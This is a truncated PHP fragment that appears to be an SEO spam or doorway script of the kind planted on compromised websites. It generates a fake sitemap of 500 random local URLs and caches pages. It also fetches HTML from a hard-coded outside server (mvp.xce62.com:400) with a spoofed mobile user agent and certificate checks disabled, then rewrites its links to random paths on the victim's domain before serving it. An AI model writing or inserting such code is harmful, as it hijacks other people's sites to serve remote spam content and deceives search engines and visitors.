\r\n";
$host = 'http://'.$_SERVER['HTTP_HOST'].$dir."/";
$date = date("Y-m-d");
for($i=0;$i<500;$i++){
$tmp = $host.char(6,1).char(mt_rand(4,10),2);
$map .= "\t\t\n";
$map .= "\t\t\t{$tmp}\r\n";
$map .= "\t\t\t{$date}\r\n";
$map .= "\t\t\tdaily\r\n";
$map .= "\t\t\t0.8\r\n";
$map .= "\t\t\n";
}
$map .= "\t";
echo $map;
exit;
}
$cachefile = __DIR__.'/cache/'.sha1($_SERVER['HTTP_HOST'].$_SERVER["REQUEST_URI"]).'.cache';
ob_start();
if(file_exists($cachefile)){
include($cachefile);
ob_end_flush();
exit;
}
function httpGetlai($url) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1');
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
curl_close($ch);
return $output;
}
function char($length = 5, $type = 0)
{
$arr = array(1 => "0123456789", 2 => "abcdefghijklmnopqrstuvwxyz0123456789");
if ($type == 0)
{
array_pop($arr);
$string = implode("", $arr);
} elseif ($type == "-1") {
$string = implode("", $arr);
} else {
$string = $arr[$type];
}
$count = strlen($string) - 1;
$code = '';
for ($i = 0; $i < $length; $i++) {
$code .= $string[rand(0, $count)];
}
return $code;
}
$url="http://mvp.xce62.com:400/";
$html=httpGetlai($url);
preg_match_all("/[\s\S]*?<\/a>/",$html,$aarray);
if($aarray[0]){
foreach ($aarray[0] as $pbti){
$preg = '/href=(\"|\')(.*?)(\"|\')/i';
$replacestr = 'href="'.$dir."/".char(6,1).char(mt_rand(4,10),2).'"';
$ahtml=preg_replace($preg, $replacestr,$pbti);
$html= str_replace($pbti, $ahtml, $html);
}
}
$html= str_replace("Copyright", 'Copyrightsitemap', $html);
$html= str_replace("